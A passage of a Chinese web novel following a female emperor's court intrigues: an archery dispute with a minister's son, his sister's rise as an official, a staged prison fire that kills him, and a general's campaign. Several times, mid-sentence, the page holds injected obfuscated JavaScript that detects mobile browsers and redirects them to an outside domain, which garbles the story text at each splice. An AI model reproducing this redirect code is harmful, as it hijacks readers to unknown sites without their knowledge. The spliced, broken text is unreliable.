柳扶洲的准头一次更比一次差,箭不是偏了,就是在离香囊几寸的地方落下。他急得额头上冒出汗来,咬牙切齿。 人群中已经有人克制地笑起来。柳扶洲又一箭歪了,气得涨红了脸,把弓一甩,冲着摊主怒喝道:“定是你这弓箭有问题!好端端的,箭怎么可能偏?!” 摊主陪着笑脸道:“公子,我们不做那等贪心生意,这弓箭绝无问题,与军用的一般无二。若是公子喜欢这个香囊,您拿了去便是。” 柳扶洲哪里是要香囊,众目睽睽之下,他被堵得下不来台,硬着头皮道:“胡说!我……我自小学骑射,断不可能这样!定是你这弓箭有问题!来人,给我把这奸商押去官府问审!!” 这就过分了,宋闻薰皱了皱眉,心中不悦。她看了一眼付清衣,付清衣正巧也摩拳擦掌,会意,三两步走出去,朗声笑道:“且慢!我也花了钱,公子何妨让我试试,再把人押走?” 柳扶洲不屑地瞥了他一眼:“你又是谁?” “英雄不问出处。”付清衣眨了眨眼,他随意站在人堆里,挺拔如松,客客气气地道,“若是我射中了,还请公子别带人走。” “可以。”没料到柳扶洲答应得倒爽快,他道,“但你若是射不中……” 他带着恶意的笑,指了指付清衣身后的宋闻薰:“我便要这位美人儿陪我一天。” 他的目光在付清衣脸上刮了刮,盛气凌人:“敢不敢赌?” 宋闻薰一挑眉,心道,陪你也无妨,就怕你那蚊子老爹年纪大了受不得刺激,见了我当场自尽过去。 付清衣听到这句话,眉眼间浮上一层薄怒。他下意识想要拒绝,宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450110|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻薰却笑盈盈地朝他眨眨眼,见她乐见其成,付清衣也便从容不迫地将衣袖向上折了折,道:“请教了。” 唏嘘着快要散去的人群一见有好戏看,纷纷又围了过来,人还比之前多了一倍,柳扶洲平日没少在街上找茬,冷不防冒出个敢和他叫板的,人人都觉得稀奇,一时间满条街的人都往这里涌。摊主抹了把汗,忙不迭为付清衣拿来弓箭。 付清衣微微一笑,利利索索地拉开弓,他半眯着眼将箭对准了最远的香囊。 一群人都倒吸了一口凉气,没想到他一上来便要挑战最难的。 付清衣对那些议论充耳不闻,他手上劲道一松,那支羽箭竟快如疾风,凛冽又迅猛地射过去,“当”一声脆响,那箭尖居然穿过细线,扎扎实实地插入了铁板! 这得是多强的臂力?! 周围一时间静得落针可闻。 付清衣对周围人惊异崇敬的目光浑然不觉,他走上前俯身拿起香囊给宋闻薰,又朝着柳扶洲微微颔首,抬脚欲走。柳扶洲却不让,他今日丢足了脸,燥得脸上发热,七窍生烟,一口恶气堵在胸口,把他的理智埋了个干干净净。 “站住!把香囊留下!”他怒喝着,脱下手腕上的金镯子砸在小贩的桌上,“这个香囊,老子买了!” 宋闻薰颇为诧异地转过头,她自幼长在宫里,宫中人说起话来含沙射影,心思弯弯绕绕,纵是欺负人,也欺负得十分狡猾。她还是第一次看见这样明目张胆地把愚蠢和坏同时刻在脸上的人,只觉得很新鲜。 付清衣看见她表情,也忍不住笑。 柳扶洲看见这两人现在还能笑出来,不亚于火上浇油,一旁的随从低声下气地劝他:“公子,消消火,这两人着装不凡,恐是哪位官人家的子女,不好得罪啊……” “闭嘴!”柳扶洲扇了他一巴掌,又冷冷看着宋闻薰,“还回来。” 宋闻薰走到他跟前,也不说话,只是十分新奇地上下打量了他一遍,随后将香囊递给他,自己则拿了桌上那个金镯子,温文有礼地躬身:“多谢公子。” 柳扶洲:“………” 他在那一瞬间甚至没反应过来。这人……一点儿没生气?这种情况不该傲气地表示自己宁可不要金镯子也要香囊吗?这样他才可以顺理成章地挑事。 此人脸皮之厚,岂有此理! 他还想开口,却见远处有人摇着轮椅过来,见了扬长而去的两人,停下来打招呼。那是太医院的太医令慕行止,父亲千叮万嘱过,那位很受陛下赏识,惹谁都不可惹了那位。 “公子,那二位还和慕太医认识,万万不可……” 柳扶洲难得在盛怒下捞回来半个脑子,他气得踩了一脚旁边的随从,愤愤瞪着宋闻薰的背影,扭头走了。 慕行止讶异地看着宋闻薰和付清衣:“陛下?” 宋闻薰笑道:“这里没有陛下,只有宋姑娘。” 慕行止讶异地顿了一下,从善如流地改口:“陛下自己说的,不算我大逆不道啊。宋姑娘,你怎么会到大街上来?我远远看着,似乎还与柳家那位公子起了争执。” 宋闻薰摆摆手,想起柳扶洲,又忍不住弯了眼:“算不上争执,只是那柳扶洲空长一张俊俏面孔,却是绣花枕头一包草。我当个热闹瞧瞧,十分有趣。” 她眼睛一转,看着慕行止手上女式的玉簪,露出个会心的笑容:“买给她的?” 慕行止耳朵尖难得有点红,他看见付清衣,条件反射地把玉簪藏入袖中,再一抬眼,已经恢复了彬彬有礼的模样:“宋姑娘莫要打趣我。” 宋闻薰闭了嘴,付清衣却很是好奇:“慕太医已有心上人了?” 宋闻薰似笑非笑地看了一眼慕行止略显不自然的表情:“是啊。” 付清衣如果知道慕行止喜欢的是他妹妹,脸上的笑容可就挂不住了。 17. 长安客(4) 次日清晨,宋闻薰宣礼部尚书入宫觐见。 近日朝堂上不太平,有十几个官员都被宋闻薰以叛党余孽之罪清剿了,血一直流出断头台,流入满城春色里。柳尚书走进宫时,腿都是抖的,生怕这位喜怒无常的帝王给自己安一个勾结叛贼的罪名。 然而宋闻薰只是平静地看着他,把一个金镯子扔到他面前:“朕昨日得了个东西,不知柳卿可眼熟?” 礼部尚书不知所以,下意识拿了起来,才看了一眼就直觉不妙,差点没叫出来。 他这倒霉儿子又闯出什么事了?!天子怎么都拿到这块镯子了?!! 宋闻薰似笑非笑地瞄着他青紫的脸色,道:“朕昨日与令郎有一面之缘,令郎还热情邀请朕来府中做客,真是……人中龙凤。” 她微妙的停顿和冷淡的语气让柳尚书脸色发白。 柳尚书反应很快,当即“扑通”跪了下来,诚惶诚恐:“陛下饶命,犬子自幼顽劣,被臣宠坏了,若是有得罪陛下的地方,臣……臣一定好好教训他。” “爱卿这是什么话。令郎很合朕眼缘,文武双全,机敏聪慧,朕正打算择日给他挑个好差事。”宋闻薰和颜悦色地看着柳尚书,笑道,“不过朕今日宣你来,还有另一桩事。” 柳尚书谨慎地退后一步:“陛下请讲。” “朕记得,爱卿还有个女儿,才貌双全,琴棋书画样样精通。听说年前曾经一琴动京城,求娶之人无数。” 柳尚书愕然,一时间不知道陛下提这茬是想干什么。总不会……总不会是要纳妃吧?!诚然,他精心培养这个女儿确实是为了嫁入天家,将来若能得天子宠爱诞下龙种,柳家便是炙手可热的世家大族。可谁知道一夜之间变了天,龙椅上坐了个女子,柳尚书夙愿落空,很是扼腕叹息了一阵子。如今陛下突然这么问,难道是有那方面癖好?那他是答应还是不答应?陛下先提他儿子又提她女儿,难不成是想让他用女儿换儿子的好前程? 宋闻薰含笑端详着柳尚书,果不其然听见他热切的声音:“是,小女名曰芳歌。如今已满十七,陛下可要见见?” 宋闻薰讽刺地牵了牵嘴角,柳尚书果然不在乎这个女儿。她漫不经心地敲了敲龙椅的把手,道:“朕准备建一个招鸾阁,广召京城才女前来佐政。令爱写得一笔好字,是不二之选。” 柳尚书顿了顿,他眼珠一转,发觉陛下很可惜地没有那方面癖好,却愿意提拔他女儿,一时间大喜:“自然,自然,多谢陛下隆恩!” 宋闻薰确实是要提拔女子为官。本朝女子为官者唯付清蓉一人,这还是看在付家和太子的份上。付清蓉家世高,容貌好,是太子一早看中的太子妃,让她掌握了兵权,也就相当于太子掌握了兵权,再加上付老将军多次上书恳求,故而老皇帝网开一面,应允了这个离经叛道的决定。昨夜宋闻薰召付家兄妹入宫议事时,突发奇想,本朝女子多以相夫教子为正道,可倘若宋闻薰给了她们选择另一条路的机会,没有人会不渴望权利与自由。 宋闻薰给了她们机会,她们为了抓住这个机会,将以绝对的忠诚辅佐她。宋闻薰虽已是皇帝,麾下势力却多半来自姜丞相和老元帅。她们会是宋闻薰开拓自身势力的一个切口。 朝堂上势力错综复杂,分为姜丞相、老太尉、旧世家和新贵,彼此牵制着,暂时保持了服帖。宋闻薰早就想清理一番,把权柄握在自己掌中。因而选择女官也有讲究,柳芳歌虽生在柳家,但据探子来报,她自幼被柳家当成礼物培养,与父母关系极差,是可用的人。 柳芳歌入宫觐见宋闻薰时,见惯了美人的宋闻薰也愣了愣。怪不得柳尚书眼巴巴地想把人送入天家,这真是好看的一张脸,像是春日里初开的花,鲜艳到极点。尤其是那双眼,微微上挑,眼尾一抹胭脂色,如同漫开的烟霞,无端生出许多娇媚。 因是入宫,柳芳歌穿得华丽,低头行礼时,珠翠流苏挡住她媚意横生的眼睛,只露出雪白的下颚,干净又端庄。 宋闻薰赞许地笑道:“平身吧。柳家小姐在京中素有盛名,今日一见,名不虚传。” 柳芳歌拢起葱白的手指掩唇一笑:“谢陛下夸奖。芳歌初次得慕天颜,不胜荣幸。” 宋闻薰貌似随意地问了她一些问题,有关乎政务的,也有关乎寻常琐事的,柳芳歌不慌不忙,进退有度。 确实才貌双绝。 宋闻薰越来越满意,她终于饱含深意地低声道:“朕召柳小姐来,是想让你辅佐于朕左右,替朕抄写文书、参知政务,朕会封你为御正。” 柳芳歌看上去并不意外,她眸光一闪,盈盈福身:“多谢陛下,臣女必当尽心竭力。” “不必如此见外,过来,与朕聊聊。” 柳芳歌顺从地走来,宋闻薰打量着她,轻声道:“你若真能尽心竭力,朕会给你所有你想要的。” 柳芳歌抬起眼,有微光落在她眼底,明灭不定,她嗓音柔柔的:“陛下前几日便派人打探臣女的虚实,想必对臣女已经了解透彻。若臣女想要的过于胆大包天,陛下也肯吗?。” “但说无妨。” 柳芳歌贴近她,吐息如兰,说出口的话却字字沾了冷冽的肃杀之气:“臣女想要父亲的命,想要往后不受柳家牵制,安心在朝堂为陛下分忧。” 宋闻薰端详着她,顿了片刻,忽然大笑起来。 柳芳歌不知她此为何意,下意识绷紧了身体,宋闻薰边笑边拍了拍她的肩膀:“不愧是朕看中的人,不错,真不错。” “好,朕答应你。” 次日,圣旨到,柳芳歌被擢为御正,封眉山县君,赏京郊府邸一座。 这圣旨一出,有不少女子跃跃欲试,也想效仿柳芳歌获得新帝青眼,自立门户。于是宋闻薰送给柳芳歌的第一份实权,便是作为招鸾阁主考官考察众女的才学与家世。 柳芳歌没有让她失望,十天后,名单已经递上了她的桌案。 五月芳菲尽,宫中因多了一批女官,格外忙碌起来。柳芳歌正神色威严地吩咐着什么,忽闻外头传来打骂声: “让我进去!里头是我阿姐,我凭什么不能进?!” 外头的姑姑为难地拦他:“公子,这里算是内宫,您一介外男无召入内,于礼法不合啊!” “我不管!哪里的礼法规定了我不能见自己的姐姐?!” ……… 柳芳歌蹙了蹙眉,推门出去,声音冷静:“什么事?” 柳扶洲看见她来,好似乱撞的雀儿瞧见了主人,眼睛都亮了起来,巴巴地看着她:“阿姐!这老货好生木讷,我是你弟弟,怎地连来探望你都不许?” 柳芳歌的眉头依然蹙着,她低声喝道:“扶洲,不许胡言乱语!这里是皇宫,休得撒野,快给姑姑赔罪。” 柳扶洲嘟了嘴,很不满地瞪了姑姑一眼,碍于柳芳歌,只好把火气压下去,他偷眼瞥了一眼柳芳歌,道:“可是我好久没见到阿姐了呀。阿姐自从得了官职就不往家里来,我还有件喜事要告诉你呢……” 柳芳歌面色缓和了些,她无奈地叹了口气,柔声道:“好,阿姐马上就来陪你。不过内宫重地,不得擅闯。你听话点,别叫阿姐难做。” 她又转过身,笑着塞给老嬷嬷几块碎银:“家弟自幼顽劣,姑姑莫要放在心上。” 老嬷嬷原本神色僵硬,瞧了银子,面色好看了不少,赔笑道:“柳姑娘说的什么话,使不得、使不得。” 柳扶洲撇了撇嘴,这天不怕地不怕的混世魔王居然真的安静了下来,站在宫门外无所事事地踢小石子。 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450111|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芳歌快刀斩乱麻地处理完事务,把柳扶洲拉到茶楼里。她容颜过于妩媚,走入茶楼时有许多人偷眼看她,被柳扶洲一把将帘子拽上。 柳扶洲笑眼弯弯地看着她:“阿姐,父亲说我马上也要有官职了,你开不开心?” 柳芳歌只是淡淡地看着他,脸上一丝笑意也无。 柳扶洲说着说着,感觉到她的冷淡,有些犹豫地住了嘴。 柳芳歌执壶替他满上一杯茶,推到他跟前:“喝了吧。” 柳扶洲喝了下去,随即又苦得吐了出来,他脸皱了一团,不满道:“阿姐明知我不喜欢苦的!” 柳芳歌眼尾翘了翘,渗出一些笑来,却是冷的,她声音很轻,飘飘渺渺:“我知道扶洲不爱喝苦的,我也不爱喝。可是我喝了十七年。” 有一些茶水洒出来,将她手指烫出一片红,柳扶洲皱了眉要去替她吹吹,被她抬手止住了。柳芳歌望着他,面上无波无澜:“你不爱喝便可以吐出来。我却不能。扶洲,我喝了十七年。” 柳扶洲没见过这样的阿姐,在他的记忆里,阿姐总是温柔的、和善的,小时候他犯了错每每要被责罚,阿姐便跑去喊老主母,给他搬救兵。老主母一来,父亲再大的气也只能压下去,久而久之,倒对他犯错睁一只眼闭一只眼了。阿姐还会耐心地陪着他玩,给他缝衣服,十岁那年,他野外遇蛇,险些命丧黄泉,也是阿姐为他吸出毒水,冒着瓢泼大雨背着他去求救。阿姐是世界上最好的阿姐。 他无措地问:“那阿姐为什么不能吐出来?” “因为你呀。”柳芳歌弯起唇,伸出一只葱白的指头点了点他眼前的杯子。 柳扶洲瑟缩了一下,他没搞懂,还想再问,就听见柳芳歌的声音,柔软得像小时候他哭泣时安慰他那样:“因为要给你铺路呀,扶洲。父亲一早打算了要把我嫁给天家,我必须护着你、扶着你、供着你,让你一辈子无忧无虑又愚蠢至极地活下去。” 柳芳歌的眼尾浮出一丝血色,她笑起来,笑得花枝乱颤,好一会儿才抹去眼角笑出来的泪珠:“你在外头为非作歹时,我被关在书房练字,一直练一直练,手上磨出了血泡。只因为太子喜爱书法。” “太子有一阵子喜爱听琴,于是父亲又让我学琴,八月伏旱天,我在闷热的琴房练了三天三夜的琴,若不能完整地弹出一曲《解语花》便不能出去。后来我昏倒在地,好一阵子才被人发现。” “太子喜爱什么样的人,父亲便会要我变成什么样。我是一件礼物,随时等着送人。”她好不容易才止住笑,垂下那双好看的眼,不自觉重复了一遍,“随时等着送人。” 从始至终,柳芳歌都语气平缓,听不出什么情绪,柳扶洲却随着她说的话,面色一点点白下去,良久,他干涩地问:“为什么我不知道?” “父亲怎么会叫你知道呢?”柳芳歌翘了翘唇角,温和地道,“他们都希望你无忧无虑啊。” 她望着手中的茶杯,清波里映出一张娇艳的脸,每一寸肌肤都莹白如雪,每一次微笑都得体雍容。那是她自己,是柳家培养出的尤物。 柳扶洲徒劳地看着她,拼命想要说什么,却说不出来,柳芳歌冷眼看着,突然觉得好没意思。她站起来,轻声道:“扶洲,往后别来找我了。” 那向来飞扬跋扈的少年好似被人打了一闷棍,眼眶迅速地红了,问:“阿姐讨厌我?” 柳芳歌没有给他答复,她只是淡淡看了他一会儿,目光里没有情绪。随后她像是觉得寒冷,拢了拢外袍,兀自转身走了。她脑后繁复的步摇晃啊晃,在柳扶洲眼前晃出一片重影,渐渐地模糊成看不清的雾霭。他抬手一摸,摸到一手冰凉。 “阿姐。” “阿……姐……” 但是没有人会再笑着应他了。 18. 长安客(5) 桃花开尽了。眼看快要到夏日。皇城里一片压抑的宁静,而这宁静中,又仿佛涌起无限暗波。 废太子仍然被关押问审,宋闻薰虽已经将他打入天牢,却迟迟难以杀他。他毕竟身份敏感,稍有不慎,宋闻薰便会落得个残害手足的暴君名声。而宋闻薰手中的皇召虽有玉玺之印,却依旧难以服众。若不是她凭借着世家之间盘综错杂的关系,一力维持了朝堂上的平衡,恐怕连皇位都岌岌可危。 太子被废后,天下不乏有蠢蠢欲动者,更有腐儒联名上书,称女子不可为帝,牡鸡司晨,有违阻制。 宋闻薰上朝之时,望着满朝上下黑压压的人头,听着一群各怀鬼胎的世家互扯头花,自己还得笑脸相迎,时常会压不下戾气,像是被无数层层叠叠的石块压着,她百无聊赖地想,要是能都杀了就好了。 那些人在她面前阿谀奉承,背地里却恨不得从她身上咬下块肉来,她被群狼环伺,稍有不慎就是万劫不复。 所幸付清衣还在朝堂上,他一袭朝服,身姿笔挺,面如冠玉,偶尔进言,亦口齿清晰,思路敏捷,在一群年过半百的老头子中清新得如同出水芙蓉,宋闻薰的目光扫过,刚巧与他悄悄抬起的视线对上,付清衣弯起眼睛,借着抬起的袖口掩护,冲她俏皮地眨了眨眼睛。这一笑如同清风拂面,叫人精神一振。宋闻薰心头暴戾消了一些,她揉了揉太阳穴,把烦躁心情收拾好,装出一副深不可测的模样,与那些老头子委与虚蛇。 付清衣是她紊乱生活里的一捧凉水,是唯一能压下她日益增长的疯狂情绪的人。 然而不够。还不够。 她需要杀戮。她需要那些世家子弟的命,来巩固她尚未坐稳的皇位。 子时,天光黯,人声息。宋闻薰密旨宣柳芳歌进宫议事。大殿里一片死寂,连内侍都被屏退,冰冷的瓷砖映出冷峻的帝王,和脸色苍白的柳芳歌。 宋闻薰静静看着她,目光锐利,声线冰冷,带着上位者的不容置疑:“太子已废,却迟迟难以清剿。依柳卿看,此事当如何了结?” 柳芳歌思考片刻,不疾不徐道:“那便放出把柄,做实了他谋逆的罪名。” 宋闻薰淡淡一笑:“朕亦如此想。朝野中潜伏了不少废太子党余孽,不如给太子一个逃生机会,叫他痛痛快快谋反一回,彻底断了他的生路。” 她在说最后一句话时,语气没有多少变化,声音却沉下去。柳芳歌忍不住抬眼看她,不知不觉间,这位一手遮天的新皇变了,她头一次见她,她虽然亦冰冷如山巅清雪,可到底是沉静的、稳重的,望着她的目光中有轻微的怜悯,像是某种心照不宣的同病相怜。她们一起处理政务时,宋闻薰偶尔也会抬起头,打趣她几句,含笑同她说一些无关紧要的琐事,那是朋友般的相处方式。 然而只过了短短两月,宋闻薰的气质发生了微妙的改变,她依然冰冷,却不再有那种柔缓的气质,望着她的目光里更不再有怜悯的情绪,只剩下高深莫测的审视。她像是被什么东西束缚者,冰冷外表下,是快要压不住的暴戾。 如果说之前柳芳歌尚且将她当做半个可以信任的友人,那么现在,她已经不敢直视她的眼睛。 “陛下的意思是?” “天牢意外失火,废太子潜逃。至于看守天牢的人,朕觉得柳扶洲不错。” 天真愚蠢的少年,没有城府,骄纵肆意,家世显赫。柳家与旧贵族交情匪浅,如果柳家这个捧在手心里的儿子因废太子潜逃而出了什么闪失,柳家必然会对废太子一党恨之入骨。 旧贵族即便有心与废太子一党交好,也不能不顾及柳家的感受。 恰好,宋闻薰曾许诺了柳家,要给柳扶洲一个官职。 那一瞬间,万籁俱寂,柳芳歌说不出来任何话。 尤其是宋闻薰毒蛇般的目光,正缠绕在她身上。 柳芳歌轻微地战栗着,感到喘不过来气,她脸色更难看了,在昏暗的灯火下,显出几分病态的惨淡。她死死抓着自己的袖子,直接跪了下去,从牙缝里挤出字来:“……臣听闻扶洲曾冲撞过陛下,他自幼顽劣,恐惹了陛下不快……臣求陛下饶他一命,臣愿为陛下肝胆涂地、结草衔环以报。” 宋闻薰看着她惨白的脸色,淡淡笑了笑,她相貌温柔婉约,笑容更是天生具有亲和力。可她这一次的笑容,让柳芳歌浑身发冷,她用哄骗般的口吻道: “柳扶洲死了,柳家气数也快尽了,到时候,只能依附于你生存。正是因为你弟弟,你这些年才过得不好,朕是在帮你啊,柳卿。” 有那么一刹那,柳芳歌几乎被说动了,可她眼中晃过柳扶洲最后带着哭腔的那句“阿姐”,还是祈求地看着宋闻薰:“求陛下放过臣的弟弟……扶洲是臣这一生中,唯一对臣好的人。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450112|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “唯一对你好又能代表什么呢?这世上其实没有人会真心待你好,他喜爱你这个姐姐,不过是因为你能给他争取利益。你要摆脱柳家,就不能不割舍掉一些无用之人。柳卿,你聪明、伶俐、会变通,朕很赏识你,往后,你的路会越走越顺。可过分的仁慈会害了你。” “朕不是不理解你,但事急从权,没有比柳扶洲更合适的人。”宋闻薰难得说这么多,最后还慢条斯理地解释了这么一句,已经是很大的宽宥了,她意味深长地看着柳芳歌,“芳歌,你不是柳家人。” 柳芳歌满口的求情就这样被她轻飘飘地堵住,在那一瞬间,她猛然意识到,宋闻薰在提醒她适可而止。 她对柳扶洲的在意,落在宋闻薰眼中,便是对柳家的在意,是不忠。 而在宋闻薰那里,不忠者死。 六月初一,天牢失火,太子与人里应外合潜逃。天牢内所有人皆葬身火海,无一生还。礼部尚书之子柳扶洲新官上任七天,便惨遭横祸,尸骨未存。 这件震惊朝野的案子,被史书称作“伏月之祸”。 有许多人都在观望女皇的态度,这位刚刚即位、尚且羽翼未丰的年轻帝王,是会雷霆大怒,还是措手不及? 面对各怀鬼胎的臣子,宋闻薰以极其冷静的态度,给出了狠厉的反应。 凡牵涉废太子谋反一事者,诛九族,杀无赦。付清衣与付清蓉各率两千精兵,兵分两路包抄尚未成气候的太子军,投降者生,负隅顽抗者死。 血色染山河,千里无鸡鸣。 宋闻薰站在城墙上,凝望着付清衣出征时的背影。他策马扬鞭,风卷起红艳的付家旗,身后铁骑如一把长鞭,直指逆贼腹地。他这一次走,只是同她行了臣子礼,并未在私底下和她告别。她不知道他猜出了多少,付清衣私下在她面前绝口不提那些政事,只谈风月。可他一向透彻,有些事情能瞒得住朝野,却瞒不住他。 她垂眼看着自己洁白如玉的手,那里不知什么时候起,已经沾满了血腥。 她的目光越过猎猎长风,看向身后,一步之遥的地方,柳芳歌也来了,她一袭素净白衣,一向柔媚的脸上不施粉黛,显出几分病容。触及她的视线,柳芳歌颤了颤,缓缓跪下了:“臣祝陛下清剿逆贼,付将军得胜班师。” 在宋闻薰看不见的地方,她尖尖的指甲陷进肉里,掐出了血。 19. 长安客(6) 汹涌的战火顷刻间席卷整个大齐,黑云压城城欲摧。渭水之畔的小城里,无数百姓正惶惑地收拾着行囊。 “阿娘,我们真的要走吗?”孩子揪着母亲的衣角,眼里含泪。 “不晓得,哎,这年月……”神色憔悴的妇人也不顾不上安抚孩子,急急忙忙地跨出门去典当东西,突然,远方传来一阵“隆隆”的马蹄,霎时间大地都在震颤,方才还乱成一锅粥的人群鸦雀无声,妇人手一抖,包裹落在地上。 城门洞开,黑压压的军队整肃地涌进来,为首的将军一身玄甲,骑着一匹高大的白马,长眉入鬓,满身杀伐之气。他身后,一面烈火般夺目的付家旗在风里猎猎作响,像是乌云里破出的一轮骄阳。 “是付将军!” “太好了,是付将军!” “没事了……我们没事了……” ……… 一时间,众人都欢欣鼓舞起来,方才还慌里慌张地要去典当东西的妇人长呼一口气,一把捡起落在地上的包裹,抱着一边的孩子喜极而泣:“没事的,没事的,有付将军在。” “宣城郡守王桦,参见付将军。”一个胡子花白的老头穿着一身洗的发白的官服,人群自动给他分出一条路来。他拄着拐杖一步一跌地走到付清衣跟前,俯身便要拜,被付清衣弯腰扶住了。 “幸会,叨扰。宣城如今是兵家重地,叛军在东南方,离这里不过百里。我带着将士们在城中歇一歇脚,不日便要启程。不知王郡守可否替我们安置一下?” “自然,自然。”王桦忙吩咐左右,“还不快去收拾地方,宰几只羊来犒劳将士们。” “多谢。”付清衣微微一笑,翻身下马,朝身后的众将士比了个手势,只听一阵齐刷刷的铁器响,将士们同时放下手里的刀剑,卸下了身上的重甲。 付清衣转过头,声音坚定有力:“老规矩,入城不得伤害百姓,不得侵损财物,不得擅自行动。若有违令者,按军法处置!” “是!!!” 王桦看着这样整肃的军容,不禁暗暗赞叹。付家军在百姓中素有佳名,的确不是空穴来风。眼前的青年瞧着不过弱冠,已经有了大将风范,着实难得。 他脸上的笑意真切了不少:“将军这几日便住我府上吧,寒舍粗陋,望将军莫要见怪。” 付清衣朝他颔首,朗声笑道:“怎会,能得大人款待,付某高兴还来不及。” 王桦不是在谦虚,他府上的确粗陋。里里外外,只有一扇朱红的大门能看出这是个官宦之家。踏进去,里头一色装饰也无,只有墙角长了几棵桂花树,叶子有点儿卷边,看着很营养不良。 付清衣的目光落在那几棵桂花树上,不知想到什么,轻轻挑了挑眉。王桦以为他嫌弃这地方简陋,急忙道:“将军若是住不惯,老朽再安排别处。” 付清衣摆摆手,道:“这里很好,王大人有心了。” 王桦夫妻二人都十分节俭朴素,吃穿与平民无异,却特地给付清衣安排了一桌好菜。席间,王桦皱着眉,忧心忡忡地低声问:“将军,如今城中百姓人人自危,若是可以,大家都不想背井离乡,可局势紧张,依您看,我们该如何是好?” “战火不会累及宣城。敌军离这里尚有三百里,我会尽量把他们往渭水以北引。”付清衣将杯中酒一口饮尽,他如墨的眼里有燃烧的光,“大人放心,任何人想伤城中百姓,都要先从我付某人的尸首上踏过去。” 王桦忍不住拊掌,也痛快将酒喝尽,“将军高义!” 他提壶还要再续,一旁的李夫人瞪了他一眼,王桦方才的豪气干云一扫而空,尴尬地笑了笑:“就……就喝一回,不喝了,不喝了。” “你哪回不是这么讲?!馋不死你!” “声音小点,付将军还在呢……” 付清衣笑着瞧老夫妻两人斗嘴,忍不住想到了宋闻薰,不知他们若干年后白发苍苍是什么模样?到那时,他们也会这样坐在一起,眯着眼笑着互相打趣吗? 想到宋闻薰,他思绪又有点偏,这么多天他一直克制自己不去细想,可京城里一桩桩的惊天大案,天牢里数不清的冤死之人,当真和她没有半点关系吗? 付清衣握着杯子的手紧了紧,他克制着自己逐渐飘远的思绪,暗自劝自己,阿薰有时做事确实稍显狠绝,但她一贯有自己的行事原则,何况居高处难免不胜寒,许多事情非她能做主。 而他能做的,就是替她打赢这场仗。 窗外凉风习习,吹散了酒意,他单手撑住额头,不由得失笑,他对自我定义一向很明确,一个只管打仗的武夫。以往,他从不去过度关注政事,怎么如今阿薰登了基,自己倒变得神神叨叨起来。 他摇了摇头,仰头又喝下一杯酒。 战前难得的闲暇时光,付清衣自然不愿错过,第二日酉时,他召集了一群将领,在城北的山坡上点起火来围着火烤猪肉吃。 夜空宁静,猪肉被烤出滋滋的油水,香气扑鼻,付清衣咬下一大块,烫嘴得紧,却忍不住享受地眯起了眼睛。一边的将士们纷纷啃起了猪排,吃得狼吞虎咽,满嘴流油。 城中的百姓们纷纷跑过来,送上自己家的蔬果鱼肉,热情得叫付清衣有些招架不住,干脆喊道:“诸位乡亲们既然带来了好酒好菜,不如和我们一块儿吃?” 他撕下一大块肉递给了跑过来的小男孩,小男孩已经多日未见荤腥,目光直直粘在肉上,“咕咚”咽了口口水,也顾不上他母亲阻拦,张嘴就咬了上去,满足得脸都皱了起来。 见状,百姓们也不再推辞,纷纷坐了下来,把带来的食物摆了一长排,付清衣转身拎来了他从北疆带来了几坛子烧刀子酒,爽快地一摆手:“今夜咱们不管什么将军布衣,痛痛快快畅饮一番!” “好!!” 无论男女老少,都放开了肚子大快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一群人并不肯放过付清衣,纷纷七嘴八舌地继续追问。 张贵年在一边儿努力憋笑,他在心里替付清衣回答了这个死亡问题。 皇家的,家住养心殿,是真龙天子。 付清衣被他们问得实在无奈,等一群人七嘴八舌问完,他一摊手,十分欠揍地道:“你猜?” 付清衣堂堂大将军,凭本事被一群属下冲上前群殴了一顿。 等他们揍完,付清衣顺势仰面躺在地上,忍不住弯起眼睛,他仿佛想起什么,耳根子有些红,轻声呢喃道:“她啊……” 他想用许多美好的词来形容她,可话到了嘴边,似乎无论如何形容都不恰当。 他的目光望向远处,那里夜空如墨,唯有月如玉盘,散发着莹润的光,那是京城的位置。 20. 长安客(7) 一封加急密报掠过半个大齐,径直射入了皇宫之中,如一颗石子,掀起一圈一圈隐秘细小的漩涡。 宋闻薰坐在金黄的龙椅上,并不说话,只是静静地看着眼前的慕行止与柳芳歌。 她脸上一丝表情也没有,可那双黑黝黝的眸子落下来,依旧无端叫人发怵。 